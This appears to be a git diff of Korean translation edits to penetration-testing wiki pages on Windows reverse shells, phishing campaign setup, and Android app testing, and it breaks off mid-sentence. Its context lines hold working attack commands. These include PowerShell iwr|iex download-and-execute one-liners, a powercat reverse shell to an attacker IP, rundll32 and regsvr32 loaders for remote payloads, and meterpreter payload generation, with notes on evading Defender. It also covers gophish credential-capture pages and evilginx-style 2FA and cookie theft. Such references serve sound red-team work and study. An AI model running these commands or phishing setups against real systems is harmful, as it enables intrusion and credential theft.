diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 5f2285a4b..2a202fb1f 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -27,7 +27,7 @@ ncat -l --ssl ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/)는 휴대 가능하고 안전한 Netcat 대안입니다**. Unix 유사 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 가능한 소스 포트 및 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신을 위한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체로 사용할 수 있습니다. +**[sbd](https://www.kali.org/tools/sbd/)는 휴대 가능하고 안전한 Netcat 대안입니다**. Unix 유사 시스템과 Win32에서 작동합니다. 강력한 암호화, 프로그램 실행, 사용자 정의 가능한 소스 포트 및 지속적인 재연결과 같은 기능을 갖춘 sbd는 TCP/IP 통신을 위한 다재다능한 솔루션을 제공합니다. Windows 사용자에게는 Kali Linux 배포판의 sbd.exe 버전을 Netcat의 신뢰할 수 있는 대체품으로 사용할 수 있습니다. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -165,7 +165,7 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given ## **Rundll32** -[**Dll 헬로 월드 예제**](https://github.com/carterjones/hello-world-dll) +[**Dll hello world 예제**](https://github.com/carterjones/hello-world-dll) - [여기에서](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash @@ -175,7 +175,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` -**탐지됨 - 방어자에 의해** +**탐지됨 - defender** **Rundll32 - sct** @@ -219,12 +219,12 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` -**탐지됨** +**탐지됨 by defender** #### Regsvr32 -sct [**여기에서**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) -```markup +```html @@ -249,7 +249,7 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` -**stager regsvr를 사용하여 Koadic 좀비를 매우 쉽게 다운로드하고 실행할 수 있습니다.** +**Koadic 좀비를 stager regsvr를 사용하여 매우 쉽게 다운로드하고 실행할 수 있습니다.** ## Certutil @@ -375,7 +375,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -**Shells** 폴더에는 다양한 쉘이 많이 있다. Invoke-_PowerShellTcp.ps1_를 다운로드하고 실행하려면 스크립트의 복사본을 만들고 파일의 끝에 추가하십시오: +**Shells** 폴더에는 다양한 쉘이 많이 있다. Invoke-_PowerShellTcp.ps1_를 다운로드하고 실행하려면 스크립트의 복사본을 만들고 파일 끝에 추가하십시오: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` @@ -383,7 +383,7 @@ Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` -Defender는 이를 악성 코드로 감지하지 않습니다 (아직, 2019년 3월 4일). +Defender는 이를 악성 코드로 탐지하지 않습니다 (아직, 2019년 3월 4일). **TODO: 다른 nishang 셸 확인하기** @@ -391,7 +391,7 @@ Defender는 이를 악성 코드로 감지하지 않습니다 (아직, 2019년 3 [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -다운로드하고, 웹 서버를 시작하고, 리스너를 시작한 다음, 피해자의 끝에서 실행합니다: +다운로드하고, 웹 서버를 시작하고, 리스너를 시작한 후, 피해자의 끝에서 실행합니다: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` @@ -399,7 +399,7 @@ Defender는 이를 악성 코드로 탐지하지 않습니다 (아직, 2019년 3 **powercat이 제공하는 다른 옵션:** -바인드 셸, 리버스 셸 (TCP, UDP, DNS), 포트 리디렉션, 업로드/다운로드, 페이로드 생성, 파일 제공... +Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd @@ -430,7 +430,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -unicorn을 사용하여 metasploit 백도어의 powershell 버전을 생성합니다. +유니콘을 사용하여 메타스플로잇 백도어의 파워셸 버전을 생성합니다. ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` @@ -444,13 +444,13 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` **악성 코드로 감지됨** -## 더 많은 정보 +## 더 알아보기 -[PS>Attack](https://github.com/jaredhaight/PSAttack) 일부 공격적인 PS 모듈이 미리 로드된 PS 콘솔 (암호화됨)\ -[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) 일부 공격적인 PS 모듈과 프록시 탐지가 포함된 PS 콘솔 (IEX) +[PS>Attack](https://github.com/jaredhaight/PSAttack) PS 콘솔에 일부 공격적인 PS 모듈이 미리 로드됨 (암호화됨)\ +[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ +WinPWN](https://github.com/SecureThisShit/WinPwn) PS 콘솔에 일부 공격적인 PS 모듈과 프록시 탐지 기능이 포함됨 (IEX) -## 참고 문헌 +## 참고자료 - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index faa2d4fec..8b387ac73 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -1,20 +1,20 @@ -# Phishing Methodology +# 피싱 방법론 {{#include ../../banners/hacktricks-training.md}} -## Methodology +## 방법론 1. 피해자 조사 1. **피해자 도메인** 선택. -2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 수행하고 **사칭할** 포털 결정. -3. **OSINT**를 사용하여 **이메일** 찾기. +2. 피해자가 사용하는 **로그인 포털**을 찾기 위해 기본 웹 열거 작업 수행 후 **사칭할 것** 결정. +3. **OSINT**를 사용하여 **이메일 찾기**. 2. 환경 준비 -1. 피싱 평가에 사용할 **도메인 구매** -2. 관련 기록(SPF, DMARC, DKIM, rDNS)으로 **이메일 서비스 구성** -3. **gophish**로 VPS 구성 +1. 피싱 평가에 사용할 **도메인 구매**. +2. 관련 기록(SPF, DMARC, DKIM, rDNS)으로 **이메일 서비스 구성**. +3. **gophish**로 VPS 구성. 3. 캠페인 준비 -1. **이메일 템플릿** 준비 -2. 자격 증명을 훔치기 위한 **웹 페이지** 준비 +1. **이메일 템플릿** 준비. +2. 자격 증명을 훔치기 위한 **웹 페이지** 준비. 4. 캠페인 시작! ## 유사 도메인 이름 생성 또는 신뢰할 수 있는 도메인 구매 @@ -23,16 +23,16 @@ - **키워드**: 도메인 이름에 원래 도메인의 중요한 **키워드** 포함 (예: zelster.com-management.com). - **하이픈 서브도메인**: 서브도메인의 **점**을 **하이픈**으로 변경 (예: www-zelster.com). -- **새 TLD**: **새 TLD**를 사용하는 동일 도메인 (예: zelster.org) -- **호모글리프**: 도메인 이름의 문자를 **비슷하게 보이는 문자**로 **대체** (예: zelfser.com). +- **새 TLD**: **새 TLD**를 사용하는 동일 도메인 (예: zelster.org). +- **호모글리프**: 도메인 이름의 문자를 **유사한 문자**로 **대체** (예: zelfser.com). - **전치**: 도메인 이름 내에서 두 문자를 **교환** (예: zelsetr.com). - **단수화/복수화**: 도메인 이름 끝에 “s”를 추가하거나 제거 (예: zeltsers.com). - **생략**: 도메인 이름에서 **하나의 문자**를 **제거** (예: zelser.com). - **반복**: 도메인 이름에서 **하나의 문자**를 **반복** (예: zeltsser.com). -- **대체**: 호모글리프와 유사하지만 덜 은밀함. 도메인 이름의 문자 중 하나를 원래 문자와 키보드에서 가까운 문자로 대체 (예: zektser.com). +- **대체**: 호모글리프와 유사하지만 덜 은밀함. 도메인 이름의 문자 중 하나를 원래 문자와 가까운 키보드의 문자로 대체 (예: zektser.com). - **서브도메인화**: 도메인 이름 내에 **점**을 추가 (예: ze.lster.com). -- **삽입**: 도메인 이름에 **문자**를 **삽입** (예: zerltser.com). -- **누락된 점**: 도메인 이름에 TLD를 추가 (예: zelstercom.com) +- **삽입**: 도메인 이름에 **문자 삽입** (예: zerltser.com). +- **누락된 점**: 도메인 이름에 TLD 추가 (예: zelstercom.com). **자동 도구** @@ -51,7 +51,7 @@ 이 개념이 **DNS 요청에 적용될 때**, **DNS 서버에서 수신된 도메인**이 처음 요청한 도메인과 다를 수 있습니다. -예를 들어, "windows.com"의 단일 비트 수정은 "windnws.com"으로 변경될 수 있습니다. +예를 들어, "windows.com" 도메인에서 단일 비트 수정이 "windnws.com"으로 변경될 수 있습니다. 공격자는 **피해자의 도메인과 유사한 여러 비트 플리핑 도메인을 등록하여 이를 이용할 수 있습니다**. 그들의 의도는 합법적인 사용자를 자신의 인프라로 리디렉션하는 것입니다. @@ -73,7 +73,7 @@ - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -**더 많은** 유효한 이메일 주소를 **발견하거나** 이미 발견한 이메일 주소를 **검증**하기 위해 피해자의 SMTP 서버를 브루트포스할 수 있는지 확인할 수 있습니다. [이메일 주소를 검증/발견하는 방법은 여기에서 확인하세요](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ +**더 많은** 유효한 이메일 주소를 **발견하거나** 이미 발견한 이메일 주소를 **검증**하기 위해 피해자의 SMTP 서버를 브루트포스할 수 있는지 확인할 수 있습니다. [여기에서 이메일 주소를 검증/발견하는 방법을 배우세요](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ 또한 사용자가 **메일에 접근하기 위해 웹 포털을 사용하는 경우**, 해당 포털이 **사용자 이름 브루트포스**에 취약한지 확인하고 가능하다면 취약점을 악용하는 것을 잊지 마세요. ## GoPhish 구성 @@ -83,7 +83,7 @@ [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)에서 다운로드할 수 있습니다. 다운로드 후 `/opt/gophish`에 압축을 풀고 `/opt/gophish/gophish`를 실행하세요.\ -출력에서 포트 3333의 관리자 사용자 비밀번호가 제공됩니다. 따라서 해당 포트에 접근하고 해당 자격 증명을 사용하여 관리자 비밀번호를 변경하세요. 이 포트를 로컬로 터널링해야 할 수도 있습니다. +출력에서 포트 3333의 관리자 사용자 비밀번호가 제공됩니다. 따라서 해당 포트에 접근하고 그 자격 증명을 사용하여 관리자 비밀번호를 변경하세요. 해당 포트를 로컬로 터널링해야 할 수도 있습니다. ```bash ssh -L 3333:127.0.0.1:3333 @ ``` @@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 @ **TLS 인증서 구성** -이 단계 전에 **사용할 도메인을 이미 구매**해야 하며, 해당 도메인은 **gophish**를 구성하는 **VPS의 IP**를 **가리켜야** 합니다. +이 단계 전에 **사용할 도메인을 이미 구매해야** 하며, 해당 도메인은 **gophish**를 구성하고 있는 **VPS의 IP**를 **가리키고 있어야** 합니다. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -161,7 +161,7 @@ gophish의 실행을 중지하고 구성합시다.\ ``` **gophish 서비스 구성** -gophish 서비스를 자동으로 시작하고 관리할 수 있도록 하려면 다음 내용을 포함한 파일 `/etc/init.d/gophish`를 생성할 수 있습니다: +gophish 서비스를 자동으로 시작하고 관리할 수 있도록 하려면 다음 내용을 포함하는 파일 `/etc/init.d/gophish`를 생성할 수 있습니다: ```bash #!/bin/bash # /etc/init.d/gophish @@ -208,7 +208,7 @@ case $1 in start|stop|status) "$1" ;; esac ``` -서비스 구성을 완료하고 다음을 수행하여 확인합니다: +서비스 구성을 마치고 다음을 확인하세요: ```bash mkdir /var/log/gophish chmod +x /etc/init.d/gophish @@ -227,7 +227,7 @@ service gophish stop 1주일을 기다려야 하더라도 지금 모든 구성을 마칠 수 있다는 점에 유의하세요. -### 리버스 DNS (rDNS) 레코드 구성 +### 역방향 DNS (rDNS) 레코드 구성 VPS의 IP 주소를 도메인 이름으로 해석하는 rDNS (PTR) 레코드를 설정하세요. @@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all 새 도메인에 대해 **DMARC 레코드를 구성해야 합니다**. DMARC 레코드가 무엇인지 모른다면 [**이 페이지를 읽어보세요**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). -다음 내용을 포함하여 호스트 이름 `_dmarc.`을 가리키는 새로운 DNS TXT 레코드를 생성해야 합니다: +호스트 이름 `_dmarc.`을 가리키는 새로운 DNS TXT 레코드를 다음 내용으로 생성해야 합니다: ```bash v=DMARC1; p=none ``` @@ -317,7 +317,7 @@ dkim=pass header.i=@example.com; - 그런 다음 **제목**을 작성합니다 (이상한 것이 아닌, 일반 이메일에서 읽을 수 있는 내용). - "**추적 이미지 추가**"를 체크했는지 확인합니다. - **이메일 템플릿**을 작성합니다 (다음 예제와 같이 변수를 사용할 수 있습니다): -```markup +```html @@ -335,7 +335,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -**이메일의 신뢰성을 높이기 위해** 클라이언트의 이메일 서명을 사용하는 것이 권장됩니다. 제안 사항: +**이메일의 신뢰성을 높이기 위해**, 클라이언트의 이메일 서명을 사용하는 것이 권장됩니다. 제안 사항: - **존재하지 않는 주소**로 이메일을 보내고 응답에 서명이 있는지 확인합니다. - info@ex.com, press@ex.com 또는 public@ex.com과 같은 **공개 이메일**을 검색하고 이메일을 보내고 응답을 기다립니다. @@ -349,7 +349,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ### 랜딩 페이지 - **이름**을 작성합니다. -- 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올** 수 있습니다. +- 웹 페이지의 **HTML 코드를 작성**합니다. 웹 페이지를 **가져올 수** 있습니다. - **제출된 데이터 캡처** 및 **비밀번호 캡처**를 선택합니다. - **리디렉션**을 설정합니다. @@ -378,7 +378,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ![](<../../images/image (192).png>) > [!NOTE] -> 테스트 이메일을 **10분 메일 주소**로 보내는 것이 좋습니다. 테스트를 하면서 블랙리스트에 올라가는 것을 피할 수 있습니다. +> 테스트 이메일을 **10분 메일 주소**로 보내는 것이 좋습니다. 테스트를 진행하는 동안 블랙리스트에 오르는 것을 피할 수 있습니다. 모든 준비가 완료되면 캠페인을 시작하세요! @@ -392,7 +392,7 @@ clone-a-website.md ## 백도어가 포함된 문서 및 파일 -일부 피싱 평가(주로 레드 팀의 경우)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2 또는 인증을 트리거하는 것일 수 있습니다).\ +일부 피싱 평가(주로 레드 팀의 경우)에서는 **백도어가 포함된 파일을 전송**하고 싶을 수 있습니다(아마도 C2 또는 인증을 트리거하는 무언가일 수 있습니다).\ 다음 페이지에서 몇 가지 예를 확인하세요: {{#ref}} @@ -403,23 +403,23 @@ phishing-documents.md ### 프록시 MitM를 통한 -이전 공격은 실제 웹사이트를 가장하고 사용자가 설정한 정보를 수집하는 매우 영리한 방법입니다. 불행히도 사용자가 올바른 비밀번호를 입력하지 않거나 가장한 애플리케이션이 2FA로 구성된 경우, **이 정보로는 속은 사용자를 가장할 수 없습니다**. +이전 공격은 실제 웹사이트를 가장하고 사용자가 설정한 정보를 수집하는 매우 영리한 방법입니다. 불행히도 사용자가 올바른 비밀번호를 입력하지 않거나 가장한 애플리케이션이 2FA로 구성된 경우, **이 정보로 속은 사용자를 가장할 수 없습니다**. -이럴 때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM과 같은 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같이 작동합니다: +이럴 때 [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) 및 [**muraena**](https://github.com/muraenateam/muraena)와 같은 도구가 유용합니다. 이 도구는 MitM 공격을 생성할 수 있게 해줍니다. 기본적으로 공격은 다음과 같이 작동합니다: 1. 실제 웹페이지의 로그인 양식을 **가장합니다**. -2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **보내고**, 도구는 이를 실제 웹페이지로 전송하여 **자격 증명이 작동하는지 확인합니다**. -3. 계정이 **2FA**로 구성된 경우, MitM 페이지는 이를 요청하고 사용자가 **입력**하면 도구가 이를 실제 웹페이지로 전송합니다. +2. 사용자가 **자신의 자격 증명**을 가짜 페이지로 **전송**하고 도구는 이를 실제 웹페이지로 전송하여 **자격 증명이 작동하는지 확인**합니다. +3. 계정이 **2FA**로 구성된 경우, MitM 페이지는 이를 요청하고 사용자가 **입력**하면 도구는 이를 실제 웹페이지로 전송합니다. 4. 사용자가 인증되면 공격자는 **자격 증명, 2FA, 쿠키 및 도구가 MitM을 수행하는 동안의 모든 상호작용 정보를 캡처**하게 됩니다. ### VNC를 통한 -**피해자를 원래와 동일한 모습의 악성 페이지로 보내는 대신**, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션으로 보내는** 것은 어떨까요? 사용자가 하는 일을 보고 비밀번호, 사용된 MFA, 쿠키 등을 도용할 수 있습니다.\ +피해자를 **원본과 동일한 모습의 악성 페이지**로 보내는 대신, **실제 웹 페이지에 연결된 브라우저가 있는 VNC 세션**으로 보낸다면 어떻게 될까요? 사용자가 하는 일을 보고 비밀번호, 사용된 MFA, 쿠키 등을 도용할 수 있습니다.\ 이것은 [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)로 수행할 수 있습니다. ## 탐지 감지 -당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 자신의 도메인을 검색하는 것**입니다. 목록에 나타나면, 어떤 식으로든 귀하의 도메인이 의심스러운 것으로 감지된 것입니다.\ +당연히 자신이 발각되었는지 아는 가장 좋은 방법 중 하나는 **블랙리스트에서 자신의 도메인을 검색하는 것**입니다. 목록에 나타나면, 어떤 식으로든 귀하의 도메인이 의심스럽다고 감지된 것입니다.\ 도메인이 블랙리스트에 나타나는지 확인하는 쉬운 방법은 [https://malwareworld.com/](https://malwareworld.com) 를 사용하는 것입니다. 그러나 피해자가 **실제로 의심스러운 피싱 활동을 찾고 있는지** 아는 다른 방법도 있습니다. 이는 다음과 같이 설명됩니다: @@ -428,7 +428,7 @@ phishing-documents.md detecting-phising.md {{#endref}} -피해자의 도메인과 **매우 유사한 이름의 도메인을 구매**하거나 **귀하가 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우입니다. **피해자**가 이들과 어떤 종류의 **DNS 또는 HTTP 상호작용**을 수행하면, **그가 의심스러운 도메인을 적극적으로 찾고 있다는 것을 알 수 있으며**, 매우 은밀해야 합니다. +피해자의 도메인과 **매우 유사한 이름의 도메인을 구매**하거나 **귀하가 제어하는 도메인의 서브도메인에 대한 인증서를 생성**할 수 있습니다. 피해자의 도메인의 **키워드**를 포함하는 경우, 피해자가 **DNS 또는 HTTP 상호작용**을 수행하면 **그가 의심스러운 도메인을 적극적으로 찾고 있다는 것을 알 수 있습니다**. 이 경우 매우 은밀해야 합니다. ### 피싱 평가 diff --git a/src/interesting-http.md b/src/interesting-http.md index b6c348306..f5cc881ee 100644 --- a/src/interesting-http.md +++ b/src/interesting-http.md @@ -23,8 +23,8 @@ Referrer-Policy: unsafe-url ``` ## Counter-Mitigation -이 규칙은 HTML 메타 태그를 사용하여 무시할 수 있습니다(공격자는 HTML 주입을 이용해야 함): -```markup +이 규칙은 HTML 메타 태그를 사용하여 무시할 수 있습니다(공격자는 HTML 주입을 이용해야 합니다): +```html ``` diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 737cc17f5..0ec86b8d7 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -19,8 +19,8 @@ android-applications-basics.md ## Smali -때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그런 다음, apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ -[**이 튜토리얼에서** APK를 디컴파일하고, Smali 코드를 수정하고, 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로, **이 가능성을 항상 염두에 두세요**. +때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\ +[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**. ## Other interesting tricks @@ -56,28 +56,28 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github. **Firebase** -**firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**Firebase URL**에 특별한 주의를 기울이고 잘못 구성되어 있는지 확인하세요. [Firebase가 무엇인지 및 이를 악용하는 방법에 대한 자세한 정보는 여기에서 확인하세요.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### 애플리케이션에 대한 기본 이해 - Manifest.xml, strings.xml -**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일의 검토는 잠재적인 보안 취약점을 드러낼 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다. +**애플리케이션의 \_Manifest.xml**_\*\* 및 \*\*_**strings.xml**\_\*\* 파일을 검사하면 잠재적인 보안 취약점을 발견할 수 있습니다\*\*. 이러한 파일은 디컴파일러를 사용하거나 APK 파일 확장자를 .zip으로 변경한 후 압축을 풀어 접근할 수 있습니다. **Manifest.xml**에서 식별된 **취약점**은 다음과 같습니다: - **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요. - **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다. - **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다. -- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 드러낼 수 있습니다. +- **내보내기된 활동 및 서비스**: 매니페스트에서 내보내기된 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다. - **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다. -- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약성에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다. +- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특별한 주의를 기울여야 합니다. - **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다. **strings.xml** 파일에서 API 키, 사용자 정의 스키마 및 기타 개발자 노트와 같은 민감한 정보를 발견할 수 있으며, 이러한 리소스를 신중하게 검토할 필요성을 강조합니다. ### Tapjacking -**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **피해자 애플리케이션 위에 위치하는 공격**입니다. 피해자 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 피해자 앱으로 전달됩니다.\ -결과적으로, 사용자는 실제로 피해자 앱에서 작업을 수행하고 있다는 사실을 **모르게 됩니다**. +**Tapjacking**은 **악의적인** **애플리케이션**이 실행되어 **희생 애플리케이션 위에 위치하는 공격**입니다. 희생 앱을 가시적으로 가리면, 사용자 인터페이스는 사용자가 상호작용하도록 속이도록 설계되어 있으며, 이 상호작용은 희생 앱으로 전달됩니다.\ +결과적으로, 사용자는 실제로 희생 앱에서 작업을 수행하고 있다는 사실을 **모르게 됩니다**. 자세한 정보는 다음에서 확인하세요: @@ -87,7 +87,7 @@ tapjacking.md ### 작업 하이재킹 -**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(즉, 사용자가 **악의적인 애플리케이션과 상호작용하고 있다고 생각하게 됩니다**). +**`launchMode`**가 **`singleTask`**로 설정되고 `taskAffinity`가 정의되지 않은 **활동**은 작업 하이재킹에 취약합니다. 이는 **애플리케이션**이 설치되고 실제 애플리케이션보다 먼저 실행될 경우 **실제 애플리케이션의 작업을 하이재킹할 수 있음을 의미합니다**(사용자는 **악의적인 애플리케이션을 사용하고 있다고 생각하게 됩니다**). 자세한 내용은 다음에서 확인하세요: @@ -99,31 +99,31 @@ android-task-hijacking.md **내부 저장소** -Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되어 있습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 **제한하지 않습니다**. +Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**만 **접근할 수 있도록 설계**되었습니다. 이 보안 조치는 Android 운영 체제에 의해 **강제**되며, 대부분의 애플리케이션의 보안 요구 사항에 일반적으로 적합합니다. 그러나 개발자들은 때때로 `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`와 같은 모드를 사용하여 파일이 서로 다른 애플리케이션 간에 **공유되도록 허용합니다**. 그러나 이러한 모드는 **다른 애플리케이션, 특히 악의적인 애플리케이션의 접근을 제한하지 않습니다**. 1. **정적 분석:** -- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **면밀히 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**. +- `MODE_WORLD_READABLE` 및 `MODE_WORLD_WRITABLE`의 사용이 **신중하게 검토되어야 합니다**. 이러한 모드는 **원치 않거나 무단 접근**을 **노출할 수 있습니다**. 2. **동적 분석:** -- 앱에서 생성된 파일에 설정된 **권한**을 **확인**하세요. 특히, 파일이 **전 세계적으로 읽거나 쓸 수 있도록 설정되어 있는지 확인**하세요. 이는 **어떤 애플리케이션**이든 장치에 설치된 애플리케이션이 이러한 파일을 **읽거나 수정**할 수 있게 하여 상당한 보안 위험을 초래할 수 있습니다. +- 앱에서 생성된 